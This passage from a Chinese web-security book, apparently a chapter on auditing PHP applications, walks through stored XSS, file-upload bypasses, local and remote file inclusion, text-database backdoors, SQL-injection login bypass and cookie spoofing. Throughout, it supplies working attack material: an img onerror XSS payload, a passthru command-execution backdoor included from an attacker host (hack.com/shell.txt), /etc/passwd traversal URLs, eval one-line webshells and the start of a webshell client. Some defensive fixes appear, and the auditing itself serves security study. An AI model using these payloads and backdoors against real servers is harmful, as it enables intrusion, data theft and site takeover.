//如果参数$set2 等于 y 就直接更新 penname2 的内容,没有过滤,跨站漏洞出现
$db->close();
可以看到上面的代码,变量 penname2 和 penname1 在没有进行任何处理的情况下,就执行了数据库更新操作,把原来的 penname2 和penname1 进行更新了,所以出现了经典的跨站漏洞。我们现在往变量 penname2 和 penname1 中输入跨站代码,这里我把 penname2 和
penname1 都选中了,即他们都等于 y,如图 10-11 所示:
图 10-11 往变量 penname2 和 penname1 中输入跨站代码点击确定之后,我们打开就产生了跨站,如图 10-12 和 10-13 所示。
图 10-12 变量 penname1 的跨站
图 10-13 变量 penname2 的跨站
下面我们在来看看 insert 语句引起的跨站,update 是更新数据库已经存在的内容,而
insert 是把新数据插入到数据库中。所以实际上他们都是会有数据保留在数据库,往数据库插入数据在一些文章的评论、留言版之类的地方应用的比较多,典型的代码如下所示: if(isset($_POST['blogid'])){
$blogid= intval($_POST['blogid']); } //将 blogid 强制转换成数字
$author= trim($_POST['author']); / /对变量 arthor 两边的空格进行过滤
$parseurl=isset($_POST['url'])?trim($_POST['url']):'no';
//如果设置了变量 url 则过滤其两边的空格,否则将其设置为 no
$useubb=isset($_POST['ubbcode'])?trim($_POST['ubbcode']):'no';
//如果设置了变量 ubbcode 则过滤其两边的空格,否则将其设置为 no
$usesmail=isset($_POST['usesmail'])?trim($_POST[' usesmail ']):'no';
//如果设置了变量 usesmail 则过滤其两边的空格,否则将其设置为 no
$content=trim($_POST['content']);
//过滤变量 content 两边的空格
$time= time(); / /获取时间
$ip= realip(); // 获取客户端 IP 地址
$ischecked=($setting['checkcomment']=='yes')?'no':'yes';
$sql="INSERT IN TO
`".$table_prefix."comment`(blogid,ischecked,author,content,addtime,ip,parseurl,useubb,usesmile) VALUES('".intval($blogid)."','$ischecked','$author','".addslashes($content)."','$time','".addslashes(
$ip)."','$parseurl','$useubb','$usesmail')";
上面有很多变量,但是在插入数据库的代码中,已经把 blogid 强制转换成了数字;而变量 content、ip 则用 addslashes 函数转换了。但是他确忘记了对变量 author、time、parseurl、 useubb、usesmail 进行转换,直接把这些数据插入了数据库中了。变量 useubb 是验证码我们是无法进行修改的,但是对于其他变量却可以。比如变量是 author 是用户名,我们往里面输入跨站代码,就发生了跨站,如图 10-14 和图 10-15 所示。
图 10-14 输入跨站代码
图 10-15 跨站成功
在 ASP 中大家还记得自定义头像跨站吧,其实在 PHP 如果没有处理好同样会出现自定义头像跨站。PHP 中的自定义头像的页面如图 10-16 所示,它提供了两个选择,一是采用系统中自带的头像,二是采用自己定义的头像,要采用自定义头像功能,必须把复选框选上。
图 10-16 自定义头像页面
下面就来分析一下 PHP 程序中存在的自定义头像跨站漏洞,我们先来自定义头像的那个输入框的代码,如下所示:
<div align="right"><strong>自定义:</strong></div>
…………省略代码
<input name="check" type="checkbox" id="check" value="z"> //复选框代码
…………省略代码
<input nam e="url" ty pe="text" id ="url" v alue="<? e cho $fac e;?>" s ize="32" sty le="BORDER:
#ACACFF 1px solid;color:#1818FF;"> //自定义头像输入框
可以看到自定义头像输入框的 value 属性值为<? echo $face;?>,所以接下来我们就搜索变量$face,看看这个变量是如何被处理的,如图 10-17 所示。
图 10-17 搜索变量$face
可以看到变量$face 是<img src="<? echo $face;?>" name=face1 width="140" height="190">
这样被放入到img 标签中的,它所处的表单处理文件是action/actface.php 文件中,如图10-17。
那么我们在跟进这个文件看看它的代码,如下所示:
<?
require_once "../include/numb1.include.php"; require_once "../include/dowithstr.php"; if($check == ""){$img=$face;}else{$img=$url;}
//如果没有选中复选框就用系统自带的头像,否则就用我们自己自定义的投降,自定义
//头像输入框的 name 属性是 url
…………….. 省略代码
$db->query("UPDATE user SET face='". $img ."' where userid='". $id ."'");
//变量 face 没有经过转换和过滤就放入数据库中进行更新了
echo " <br><br><table w idth=\"360\" b order=\"0\" a lign=\"center\"><tr><td><font
color=\"#FF0000\"><center><b>个人形象修改成功,要 <a href= \"javascript:window.close()\">
关闭</a> 此窗口吗?</b></center></font></td></tr></table>";
$db->close();
?>
我们在来整理一下上面的思路:首先查看自定义头像输入框代码,得到其 name=url 和
value= "<? e cho $fac e;?>"。于是搜索$face 是如何被处理的,发现是按照<img src= "<? echo
$face;?>" name=face1 width="140" height="190">这样的方式处理的。那么自定义头像的头像代码又是在 action/actface.php 文件中被更新数据库的,而且没有过滤。
因为自定义头像数据没有进行转换,所以出现了头像跨站。因为它是<img src="<? echo
$face;?>" name= face1wi dth= "140"he ight= "190">这样处理的,所以我们应该输入"#"
onerror=alert(' 头像跨站') "" ,那么就变成了<img src= "#"onerror= alert(' 头像跨站') "" name=face1 width="140" height="190">,这样就产生了跨站漏洞的结果,如图 10-18 所示。
图 10-18 头像跨站
其实,只要是在 UPDATE 和 INSERT 语句中,如果有变量没有进行转换和过滤那么就基本上存在跨站。很多时候有的变量我们并不一定都看的到。比如它的属性为 hidden,还有一些获取客户端 IP 地址的变量,只要它们没有过滤就存在跨站。当然,利用这些隐藏性比较好的变量,最为常用的办法就是用 WsockExpert 修改数据包中的内容,不过要注意一个字节数的问题,前面已经介绍了。
在 PHP 下要防止跨站很简单,只需要使用 PHP 自带的 strip_tags()和 htmlspecialchars()两个函数就可以对用户提交的的带有 html 和 php 的标记都将进行转换。比如尖括号"<"就将转化为"<"这样无害的字符。我们要彻底的防止跨站漏洞的产生,只要对 UPDATE 和 INSERT中的变量用 strip_tags()和 htmlspecialchars()进行转换一下,就可以彻底防止跨站漏洞的发生了。
上传漏洞代码
利用上传漏洞我们可以轻易的得到一个 webshell,在 PHP 环境下也是如此。在上一章的 9.7.2 节中为大家介绍了 PHP 环境下上传的基础知识,所以在本节开始就为大家分析一些典型的 PHP 上传漏洞代码。
虽然很多程序员在编写上传代码的时候没有发生什么问题。但是他们在过滤和检测上传文件后缀名上疏忽了,典型的代码如下所示:
$notypes=$notypes?$notypes:'.php|.asp|.jsp|.cgi|.exe|.dll'; if($type=file_type($upfile_name,$notypes)){ //用函数 file_type 检测上传文件后缀
exit("对不起,请不要上传".$type"格式的文件,谢谢合作!");
}
$newfile=$path.'/'.$upfile_name;
$savepath=$rootpath.'/'.$newfile; createdir($path) if(copy($userfile,$newfile)){
if(file_type($upfile_name,".jpg|.gif|.bmp|.png|.jpeg")){
..........处理图片文件
}elseif(file_type($upfile_name,".rar|.zip")){
.......处理压缩文件
}
.............省略代码
$out="上传成功"
}else{
..............上传失败处理代码
}
经过前面 ASP 上传漏洞代码的分析,你是否已经看出了上面代码的漏洞呢?仔细看:
$notypes=$notypes?$notypes:'.php|.asp|.jsp|.cgi|.exe|.dll'; if($type=file_type($upfile_name,$notypes)){
exit("对不起,请不要上传".$type"格式的文件,谢谢合作!");}
首先,变量$notypes 规定了不允许上传的文件格式有 php、asp、jsp、cgi、.exe、dll,而后用 file_type 函数检测我们上传文件$upfile_name 中是否存在$notypes 中的后缀名,如果存在的话,就输出“对不起,请不要上传".$type"格式的文件,谢谢合作!”,使得上传文件失败。上面的上传处理代码是没有问题,问题就出在后缀名上。难道 PHP 就仅仅可以解析这几种后缀名。假设 PHP 系统架构在 windows 操作系统上,那么还可以解析 cer、asa、aspx、
asax、cdx 格式的文件。而在 Linux/Unix 操作系统上,还可以解析 pl、php3 格式的文件。对于这样的漏洞,在 windows 下,只需要把木马的后缀名改成 cer、asa、aspx、asax、
cdx 中的一种,然后上传就可以得到一个 webshell 了。而对于 Linux/Unix 下,可以把 php木马的后缀改成 php3,也可以上传一个 pl 格式的木马。Pl 格式是 perl 语言的后缀,perl是 Linux/Unix 下的一个脚本环境,上传成功也可以顺利获得 webshell。
对于这类漏洞目前在一些名气比较小的 PHP 系统中还是普遍存在,这是因为程序员对服务器不太熟悉而导致的,所以以后在分析上传漏洞的时候要特别关注后缀名有哪些,因为这经常是一个突破口。
还有一类上传漏洞比较的常见,那就是程序员在写程序的时候逻辑上考虑不足。使得我
们可以绕过它的限制,继续上传木马。例如曾经的 R-Blog 就出现过这类漏洞,它对上传文件的处理代码如下所示: if(isset($_FILES['picname']['tmp_name'])&&$_FILES['picname']['tmp_name']!="")
//如果web 服务器中已经设置了临时存储的位置,且里面不为空就进行下面的操作
{
list($n,$e)=split("\.",$_FILES['picname']['name']);
//利用$_FILES['picname']['name']取得上传文件的文件名,并把文件名和后缀进行分割 if($e=="jpg"||$e=="jpeg"||$e=="gif"||$e=="png")
//如果文件的后缀名是 jpg、jpeg、gif、png 中的一个,就进行下面的处理
{$filename="u".time();
//在原来的文件名的基础上把时间也加在后面,对文件进行重新命名了
$folder="upload/img/";
//把刚才上传的图片放入到文件夹 upload/img/中
$ubbcode[0]="[IMG]";
$ubbcode[1]="[/IMG]";
}
Else //如果不是图片
{$filename=$n; //文件名还是原来上传的,不进行修改
$folder="upload/other/";
//如果上传的文件不是图片,那么就文件放在文件夹 upload/other/中
$ubbcode[0]="[download=";
$ubbcode[1]="]".$n.".".$e."[/download]";
}
$R=copy($_FILES['picname']['tmp_name'],"../".$folder.$filename.".".$e);
//在判断之后把临时文件夹中的文件拷贝到已经设定的文件夹中
?>
可以看到它是这样处理的文件,如果上传的图片格式的文件的话,就把图片放到
upload/img/文件夹中,这个地方是没有疑问的。问题就出在后面,如果不是图片的话就把文件放到 upload/other/文件夹中。这难道不是漏洞吗?它根本就没判断是什么文件就放进去了,也就是 upload/other/文件夹中可以上传除图片以外的任何文件了。所以我们可以直接上传一个 PHP 木马,而且 upload/other/文件夹并没有对上传的文件进行重新命名。所以,假设我们上传的 PHP 木马是 123.php 的话,那么在服务器中它的路径就应该是 upload/other/123.php 了,非常轻松就得到了 webshell。
在2006 年世界著名漏洞公布网站milw0rm 公布了FCKEditor 这个系统的一个上传漏洞,影响比较大。因为这个上传漏洞又被广泛的称之为意识漏洞,下面就给大家介绍一下这个比较经典的上传漏洞。
问题出现在 config.php 文件中对后缀名的检测上,代码如下所示:
$Config['AllowedExtensions']['File'] = array() ; //这是允许我们的文件类型
$Config['DeniedExtensions']['File'] =
array('php','php3','php5','phtml','asp','aspx','ascx','jsp','cfm','cfc','pl','b at','exe','dll','reg','cgi') ; //这是不允许我们上传的类型
可以看到不允许上传的文件可真多啊,不过仔细看的话,好像还有一些文件名被遗漏掉了,如 php2、php4、inc、pwml、asa、cer,利用他们我们同样可以得到 webshell。在来看看它是如何对上传文件是如何处理的,代码如下:
function FileUpload( $resourceType, $currentFolder )
{
.......................省略代码
$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
$sExtension = strtolower( $sExtension ) ;
//得到文件的后缀名,它是以.(点)为标志,而且是取最后一个点为分界 global $Config ;
$arAllowed = $Config['AllowedExtensions'][$resourceType] ;
//允许上传的后缀
$arDenied = $Config['DeniedExtensions'][$resourceType] ;
//不允许上传的后缀名
if ( ( count($arAllowed) == 0 || in_array( $sExtension, $arAllowed ) ) && ( count ($arDenied) == 0 || !in_array( $sExtension, $arDenied ) ) )
//判断上传文件的后缀是否是允许范围之内
{
$iCounter = 0 ; while ( true )
{
$sFilePath = $sServerDir . $sFileName ;
//如果是允许上传的类型,则用文件名作为保存文件的文件夹名
.......................省略代码
move_uploaded_file( $oFile['tmp_name'], $sFilePath );
//把上传的文件移动到$sFilePath 中
同样,在上面的文件处理过程中不存在什么问题,和前面第一种上传漏洞一样。那为什么叫意识漏洞呢?如果我们 AllowedExtensions 和 DeniedExtensions 的设置相互调换一下呢,如:
$Config['AllowedExtensions']['File']array('rar','zip','jgp','jpeg','png','bmp');
//允许上传的后缀类型
$Config['DeniedExtensions']['File'] = array() ;//不允许上传的后缀类型
把设置 DeniedExtensions 改为设置 AllowedExtensions,那么只允许上传 rar、zip、
jpg、jpeg、png、bmp 后缀,其他的任何后缀都将被拒绝。那么上面的漏洞就被堵上了,前面的第一个漏洞也可以用这种方法来修补。这样的漏洞就被称之为意识漏洞。
其实目前很多程序员都存在这个"意识漏洞",他们在编写过滤上传文件类型时,不应该
"被动"的去过滤非法后缀,应该是"主动"过滤允许上传的类型。
上传漏洞大部分都是因为程序员在编写程序时,由于在逻辑上考虑不全面。使得我们有了可乘之机,所以大家在分析上传漏洞时,思路一定要清晰,特别是要有较强的逻辑思维能力。
包含文件漏洞
文件包含漏洞在第二章我想大家都已经完全领会了它的危害性,当然对于入侵者来说这样的漏洞恐怕是最好的礼物了。在第九章的 9.4 节中介绍的代码重用就是进行包含文件漏洞挖掘的基础知识。文件包含漏洞是这样被定义的: 服务器通过 php 的特性(函数)去包含任
意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以构造这个恶意文件来攻击的目的。
注意上面定义中的“通过 php 的特性(函数)去包含任意文件” ,它说明了出现了包含文件漏洞的前提必须是要使用 PHP 特性函数去包含文件。在 PHP 下能够完成执行包含文件功能的函数有:include(),require()和 include_once(),require_once()这四个函数。
include() && require()语句:包含并运行函数中指定的文件。这两种函数除了在如何处理函数执行失败之外是完全一样的。include() 在执行时错误的话只产生一个警告而
require() 则会出现一个致命的错误。比如,如果你想在遇到丢失文件时停止处理页面就用 require()函数,而 include() 就不是这样了,它后面的脚本会继续运行。
require_once()&&include_once():require_once ()和 include_once() 语句在脚本执行期间包括并运行指定文件。这个函数的功能和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。非常适用用在在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次执行以避免函数重定义,变量重新赋值等问题的话,那就使用这两个函数是最好的选择了。对于这四个函数的更加详细介绍,可以参考第九章的 9.4 节。
在将文件包含漏洞前还要谈谈 php.ini 文件中的三个配置选项,他们是
register_globals、open_basedir、allow_url_fopen,这三个对我们的的文件包含漏洞影响比较大。
register_globals 是 php.ini 里的一个配置,这个配置影响到 php 如何接收客户端传递过来的参数。register_globals 的值可以设置为:On 或者 Off,下面用一小段代码来说明 on 与 off 下的区别,代码如下所示。
<form name="hack" id="hack" action="URL">;
<input type="text" name="user_name" id="user_name">;
<input type="password" name="user_pass" id="user_pass">;
<input type="submit" value="login">;
</form>;
当 register_globals=Off 的时 候,服务器端获取数据的时候应该用
$_GET['user_name']和$_GET['user_pass']来接受传递过来的值。(注:当<form>;的 method属性为 post 的时候应该用$_POST['user_name']和$_POST['user_pass'])。
当 register_globals=On 的时候,服务器端程序可以直接使用$user_name 和
$user_pass 来接受值。register_globals 的字面意思就是注册为全局变量,所以当 On 的时候,传递过来的值会被直接的注册为全局变量直接使用,而 Off 的时候,我们需要到特定的数组里去得到它。在 PHP4.2 及以后版本中,这个选项默认情况下是被关闭了,如图 10-19所示,而在之前的版本默认是开启的。
图 10-19 register_globals 默认为 off
open_basedir 选项对文件包含漏洞的影响也是非常的大,这个选项可以禁止指定目录之外的文件操作,这样可以使得我们的操作被限制在某一个目录之内,所以如果启用了它的话就可以有效地消除本地文件或者是远程文件被 include()等函数的调用攻击。
allow_url_fopen 则对文件包含就更加重要了,它的取值有 on 和 off 两种。它的作用是调用远程文件的功能。如果启用它则支持远程调用文件,那么我们就可以利用 url 往服务器中调入参数,如果参数没有过滤好的话就会发生远程文件包含漏洞了。禁用它则不支持远程文件调用功能。默认情况下,它是被打开的,而且支持 http://和ftp://两种调用远程文件的方式,如图 10-20 所示。
图 10-20 allow_url_fopen 默认为 on
下面就来分析分析包含文件漏洞,对于要多次使用的代码,目前都是把它们放到一个公共的文件中。而后使用的时候只需要使用包含调用就可以完成引用了。我们可以使用上面的四个函数来完成这个包含调用了,例如,我们想在 index.php 文件中包含 header.php 文件,只需要在 index.php 中使用 include("header.php")就可以达到目的了。
当然,如果是像我们 include("header.php")这样严格控制引入的文件当然不会有什么问题,更不会有什么漏洞。但是,在实际的系统中,程序是比较复杂的,比如我们不确定要引用哪个文件,这个时候就需要一个变量来完成引用。例如下面的代码:
if ($_GET[page]) { include $_GET[page];
} else {
include "article.php";
}
如果变量 page 存在的话,就引用 page 这个参数的值。如果没有设置的话,则就引用 article.php 文 件 。 这 段 代 码 的 使 用 格 式 可 能 是 http://www.xxx.com/index.php?page=hack.php 或 者
http://www.xxx.com/index.php?page=book.php,结合上面的代码,来看看它的工作流程: 1.提交上面这个 URL,在 index.php 中就取得这个 page 的值($_GET[page])。
2.判断$_GET[page]是不是空,若不空(这里是 hack.php)就用include 来包含这个文件。
3.若$_GET[page]空的话就执行 else,来 include home.php 这个文件。
可以看到使用非常的方便,可以完成很多功能。但是这些都是引用的正确的文件,可是对于黑客来说。他就肯定不会乖乖的按照正常的方式来引用文件了。因为上面的变量 page并没有经过任何的验证,所以我们可以往 page 参数中输入任何的数据,而且它都会执行我们所提交的数据。例如,我们打开 http://www.xxx.com/index.php?page=hack.php,然后
index.php 就会按照我们输入的 hack.php 文件去执行:取 page 为 hack.php,然后去 include(hello.php),这时问题出现了,因为我们并没有 hack.php 这个文件,所以它
include 的时候就会报警告,如图 10-21 所示,当然必须 php.ini 文件中的display_errors给启用了才会返回报警信息,如果关闭了就不会返回,好在默认情况下是打开的,所以可以
给我们提供很多有用的信息。如从 10-21 中我们就可以得到网站的绝对路径。
图 10-21 返回的错误信息
在第二章中,对于文件包含只介绍了远程写入 webshell 的攻击方法,其实还有一些方法当时并未介绍,下面就来谈谈。
(1).读出目标机上的件
因为没有对 page 之类的参数进行过滤,于是,我们可以提交目标主机中的一些敏感文件的路径,提交执行之后系统就会返回该文件中所包含的内容了。要读取本地主机的文件必须要 open_basedir 选项开启了我们才能够操作其他目录中的文件。
例如前面的警告,我们看到网站的路径为/home/groups/x/xm/xmlbench/htdocs/。那么我 们 就 可 以 探 测 这 个 目 录 下 的 其 他 文 件 , 如 指 定 URL 提 交
http://www.xxx.com/index.php?page=./admin.php 就可以读取出当前路径下 admin.php 文件的内容了。也可以使用../跳转到其他目录中去查看其他的文件,前提必须是系统没有过滤../, 而且一个../ 表示一个目录。如在 linux 我们要读取密码文件,则可以输入 http://www.xxx.com/index.php?page=/etc/passwd,当然,要路径对的到才能读出来,如果路径不对则可以用../不断的探测,直到读出为止。不过还有一个提交是操作系统的,如果目标主机没有对权限限制的很严格,或者启动 Apache 的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning。
(2).远程写入 webshell
远程写入 webshell 的攻击方法在第二章中已经详细介绍了,因为 allow_url_fopen默认是启用,所以我们可以在参数中提交一个 URL 地址,把 URL 中的内容包含到文件中去执行。如果我们提交的 URL 地址是一个木马文件的,那么木马的代码也会被包含在服务器中执行,这样我们就得到一个 webshell。远程写入 webshell 非常简单,直接提交 “http://www.xxx.com/index.php?page=你的木马地址”就可以获得一个 webshell。当然,我们也可以自己写一个后门,让它执行我们的命令,如下所示就是一个最为简单的后门了 if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["shell"]);}
//可去掉字符串中的反斜线字符 ini_set("max_execution_time",0);
//设定针对这个文件的执行时间,0 为不限制. passthru($_REQUEST["shell"]);
//运行shell 指定的命令
上面的代码就是接收我们的 shell 命令并执行它,我们只需要使用 url 就可以执行命令了。假设,上面的代码被放在了 http://www.hack.com/shell.txt 中,然后提交到存在漏洞 的 URL 中 就 可 以 了 , 如 对 于 linux 主 机 下 我 们 提 交 http://www.xxx.com/index.php?page=http://www.hack.com/shell.txt?shell=ls -a 就可
以遍历 当 前目录 下 的所有 文 件了; 对 于 windows 主机 下 我们提 交
http://www.xxx.com/index.php?page=http://www.hack.com/shell.txt?shell=dir 就 可以遍历当前目录下所有的文件了。
上面的文件包含漏洞中的参数 page 是一个完整的文件名,但是在很多情况下,需要提交的参数只是文件名,而后缀名已经被系统给固定了,如下所示:
if ($_GET[page]) {
include "$_GET[page].php";
} else {
include "home.php";
}
可以看到提交的参数 page 只是文件名,后缀名已经被系统设置为 php 了,如果这个时候进 行 远 程 写 入 webshell 的 话 , 提 交 http://www.xxx.com/index.php?page=http://www.hack.com/shell.txt 就会返回错误。因为提交最后的 shell.txt 在服务器中被变成了 shell.txt.php 了,因为 shell.txt.php 不存在 所 以 当 然 会 返 回 错 误 。 所 以 对 于 这 种 情 况 , 应 该 输 入 http://www.xxx.com/index.php?page=http://www.hack.com/shell 就 可 以 了 得 到 webshell。
对于文件包含漏洞的查找其实很简单, 我们只要利用记事本的搜索功能搜索 include(),require()和 include_once(),require_once()这四个函数就可以得到该文件中所有包含文件的情况。找到了包含文件的地方之后,就要看在包含时所附带的变量是否进行了转换和过滤,如果没有被处理就产生了文件包含漏洞。
我们来看看 milw0rm 上发布的一个文件包含漏洞的代码分析与利用的公告,URL 地址为 http://www.milw0rm.com/exploits/3473。我们看看出现包含漏洞的地方,如图 10-22所示。
图 10-22 漏洞代码
可以看到代码在文件 logd.inc.php 中是 include_once($moddir . ' /functions.lib.php');这样引入 functions.php 文件的。其中变量$moddir 是没有经过过滤和转换就放入到了包含执行中的,在来看它是如何被利用的,如图 10-23 所示。
图 10-23 漏洞利用过程
可以看到直接在文件load.inc.php 中的参数moddir 中引入木马地址就可以获得一个webshell了,其中 http://atacker.com/inject.txt?是发现这个漏洞的黑客自己的木马地址,这里只要改成自己的就可以了。这里还给大家提供了一个非常好的文件包含通用工具,利用它进行文件包含入侵就更加方便了,如图 10-24 所示。
图 10-24 通用文件包含利用工具
要发现文件包含漏洞只要抓住了 include(),require()和 include_once(),require_on ce()这四个函数就抓住了文件包含漏洞。搜索到了包含文件函数之后,就是要看在引用的时候是否对输入的参数进行了检测,如果没有则漏洞发生。
要防止包含文件漏洞的发生,要从三方面着手。一是对所有包含进来的参数都要进行过滤和检测;二是禁用 open_basedir;三是禁用 allow_url_fopen。做了这三方面那么文件包含也就被彻底的断绝了。
其他程序安全细节问题
PHP 程序中其实还有很多安全问题,但大多数难形成一类体系,所以就把他们都放到本节来介绍。
文件代码泄露
文件代码泄露漏洞也算是一个比较常见的漏洞了。产生的原因主要是因为在打开文件的时候没有对严格过滤参数(变量),因为导致被恶意的提交参数,使得文件代码被泄露。该漏洞涉及的函数有 fopen()、openfile()、file()、readfile()这四个函数,其中 fopen()、 openfile()是用于打开文件;file()、readfile()用于读取整个文件。这些函数的具体用法在第九章已经介绍了,这里不在重复。直接来看看典型的文件代码泄露漏洞的代码:
$filearray=openfile("$path/$userid/$id.php");
//打开$path/$id 这个路径的$id.php 文件
$detail=explode("|",$filearray[0]); //用分割符|读出帖子的内容
可以看到参数$path 和$id 都是没有经过就放入到了 openfile()函数中去了,这样我们就可以利用这两个参数构造一些文件路径,使得我们能够读取该文件中的内容。例如我们读取 admin 文 件 夹 下 的 admin.php 文 件 的 代 码 , 则 只 需 要 提 交 http://www.xxxx.com/xx.php?userid=1234&id=admin/admin.php 就可以读取该文件的内容了。
文本数据库的安全问题
目前很多 PHP 系统的后台开始使用文本数据库了,比较著名的论坛有 CTB 等等。因为文本数据库具有很大的灵活性,且不需要外部的支持。加上 PHP 本身的文件处理能力非常的强大,因此文本数据库在 PHP 系统逐渐开始流行起来。虽然在一定程度上使用文本数据库比使用 MySQL 等关系数据库更加方便,可也出现了一些比较大的问题。例如其安全性就比其他数据库要低很多。
因为文本数据库是一个普通文件,因此它和 MDB 数据库一样可以被下载。因此很多程序员把文本数据库的后缀名改成 php 格式,这样虽然可以防止数据库被下载,但是又出现了一个更大的安全问题了。还记得在 ASP 中的利用暴库漏洞得到 asp 格式数据库后,往里面写入一句话木马之后那么这个 asp 数据库就变成了一个后门了。同样,对于 php 格式数据库也依然存在这个问题,如果我们知道了了数据库的路径。那么我们就可以往 php 数据库中写入一个一句话木马的服务端,可以用系统提供的如评论等功能来实现往数据库中插入数据。有了这个之后只需要用一句话木马客户端连接一下就可以得到一个 php 的 webshell 了。
还有一种方法也会使得数据库被当作后门来使用,例如往文本数据库中写入数据,典型的代码如下所示:
$usename=$_REQUEST["usename"];
$content=$_REQUEST["content"];
$fd=fopen("test.php","a"); fwrite($fd,"\r\n$ usename|$content"); fclose($fd);
获得客户端的 usename 和 content 的数据之后,没有进行任何检测就把数据写入到了 test.php 文件中去了。这样,当我们写入一个 PHP 后门,如<?@include($_POST["cmd"]);?>就获得一个 shell,接着利用一句话木马客户端提交即可获得一个 webshell 了。
逻辑问题
在ASP 中为大家介绍的'or'='or'及cookie 欺骗漏洞都是属于逻辑上的问题,实际上也就是数学问题了,下面就来谈谈在 PHP 程序中的那些数学问题。
也来看看 PHP 程序中常见的后台登陆漏洞,目前很多脚本仅仅对后台登陆的管理员权限作出"是"判断,而往往忽略了"否"判断。所以,在 PHP 配置文件中 register_globals 打开的情况下,我们就可以冒充管理员登陆后台了,典型的代码如下所示:
$cookielogin="admincookie"; // 判 断 是 否 Admin 的 cookie 变 量
$adminlogin=$_COOKIE["admin"]; //获取用户的 cookie 变量
if($adminlogin==$cookielogin)
{
$login=true;
}
if($login){echo "欢迎管理员进入后台...";}
在 register_globals 打开的情况下,我们在 URL 这样提交“login.php?login=ture”就可以登陆后台了。还记得在前面讲的那个全局变量吗?当 register_globals 打开时,我们提交的变量都会自动初始化,所以当我们提交 login=ture 时,login 变量的值就自动成为了 ture。而且由于变量没有进行“否”的判断。这样使得可以顺利通过 login=ture 顺利登陆后台了。
下面在来看看一段后台登陆代码,如下所示:
if ((isset($_POST['username'])) && (isset($_POST['password']))){
//是否存在username 和password
$username = $_POST['username']; // 获 取 输 入 的 username
$password = $_POST['password']; // 获 取 输 入 的 password
.........省略代码
$yes = mysql_query("SELECT * FROM users WHERE username='".$username."' AND password='".$password."'"); // 执 行 mysql 查 询 语 句
上面的代码是不是有点熟悉呢?username 和password 经过 POST 方式获得客户端输入之后就直接查询了数据库。这样就出现了经典的'or'='or'漏洞了。例如在 username 处输入 1' or 1=1 or '1'='1,password 处随便输入什么,如 123。那么整条语句就变成了 SELECT
FROM users WHERE username='1' or 1=1 or '1'='1' AND password='123',变成数学表达式就是“假 or 真 or 真 and 假”,即整条代码就变成了真,那么就可以顺利登陆后台了。
讨论Cookie和Session的安全
上一章简单介绍了 cookie 和 session 的基础知识,下面就来讨论下它的安全问题。在
PHP 中,cookie 可以和普通变量一样,把结果存入全局变量$_COOKIE 或$HTTP_COOKIE_VARS数组中。如果在 cookie 中设置了两个变量 user 和 pass,那么可以以如下的方式来使用它: echo "用户名:$user";
echo "密码:$pass";或
echo "用户名:$_COOKIE["user"]; echo "密码:$_COOKIE["pass"];
因为 cookie 是放在客户端的,所以我们可以修改 cookie 的值。如果程序编写的不是很严密,那么我们可以欺骗它提升权限,例如下面的代码就存在这样的问题。
$password=$_COOKIE["password"]; if($pass==$password){ setCookie("user","admin")
}
else{
die("你输入的密码错误");
}
或 if($_COOKIE["user"]=="admin"){ echo "登陆成功"
}
上面的两段代码,第一个验证输入的是密码、第二个严正输入的是用户名。他们都是通过$_COOKIE 保存在客户端的,在获得后就直接与 admin 或$pass 判断是否相等。这难道不是典型的 cookie 欺骗漏洞吗?我们只需要把$_COOKIE["password"] 的值改成$pass 或
$_COOKIE["user"]改成 admin 就可以欺骗服务器了,进而提高权限。
记得在 BMForum 系统的 style.php 中曾出现过一个比较经典的 cookie 漏洞代码,如下所示:
$skinname="{$_COOKIE['bmbskin']}"; if(empty($skinname)) $skinname=$skin; if(file_exists("datafile/style/".$skinname)) include("datafile/style/".$skinname);
else include("datafile/style/bmb")
可以看到,$_COOKIE['bmbskin']没有经过任何的过滤就放入到 include 语句中去了。所以出现了经典的文件包含漏洞了。例如,我们在本地机器上修改$_COOKIE['bmbskin']的值。把它改成“../../../etc/passwd”,那么就可以读取 linux 服务器上“etc/passwd”文件内容了。
下面来谈谈 session 的安全问题。我们知道 session 是在客户访问页面的时候,服务器保存客户端的一小段数据,它可以被看做是一个存放变量的地方。因此,session 的值并不像 cookie 那样可以被任意的创建和修改。
每创建一个 session 都是由客户端自动分配的,对应着唯一的标识符(SessionID),当这个标识符被发送到客户端的同时,服务器端也会生成同样的标识符。作为客户端的入口,并以文本文件或者数据库的形式保存。注册了 Session 变量后,就可以通过标识符来进行客户端与服务器的通信和读写操作了。
当浏览器被我们关闭后,Session 的生命周期也被结束了。不过 session 文件仍然保存在服务器中。当我们下次在打开时,浏览器会重新分配 SessionId。
在 PHP 中要使用 session_start()函数来启用 session,通过 setcookie()函数来设置 cookie,通过 session_save_path()用于保存 session。因为 session 比较特殊,所以它主要存在以下的安全问题:
①、Session id 是唯一的,所以如果我们能够猜解到或嗅探到一个用户的 Session id 就可以不需要用户名和密码。而直接访问需要权限的信息了。
②、Session id 的长度不是很大,而且 Session id 是不会过期的,所以我们可以采取爆破的手段获取位置和值。
③、因为现在的网站大部分都采取的是虚拟主机而且 session 数据一般都在保存在文件中,所以当我们控制了一个网站后,可以利用该网站的权限访问其他站点的 session 文件。
10.6 PHP一句话木马客户端简单解析
对于 PHP 的木马的各种使用方法我想在前面大家已经掌握了。同样的,在 PHP 下获得 webshell 的方法仍然是通过一句话木马。常见的 PHP 一句话木马服务端是<?php
eval($_POST[cmd]);?>,不过当运行出现错误时候,这个就不好用了。所以就出现了具有容错的服务端,为<?php @eval($_POST[cmd]);?>。当然,也有一些杀毒软件可以查杀这些服务端,所以又出现了超短型的服务端,为<?eval($cmd);?>。
在前面介绍介绍 PHP 一句话木马的时候,利用的是 GUI 版本,有的时候非常的方便。不过大家有没有想过自己写一个一句话木马的客户端呢?相信前面有了 ASP 一句话木马客户端的基础之后写一个 PHP 的不是太难。这里我简单写了个 PHP 一句话木马的客户端,代码如下所示:
<html>
<head><title>sdf</title></head>
<table width="1000" border="1" align="center">
PHP 一句话木马客户端
<FORM ENCTYPE="multipart/form-data" name=form method=post target=_blank>提交地址:
<input size=30 value=URL name=url><br> 密 码 :<INPUT size=10 value=pass name=pass><br>
此处填写 PHP 代码:<br>
<TEXTAREA name=textarea rows=10 cols=50></TEXTAREA><br>
<INPUT
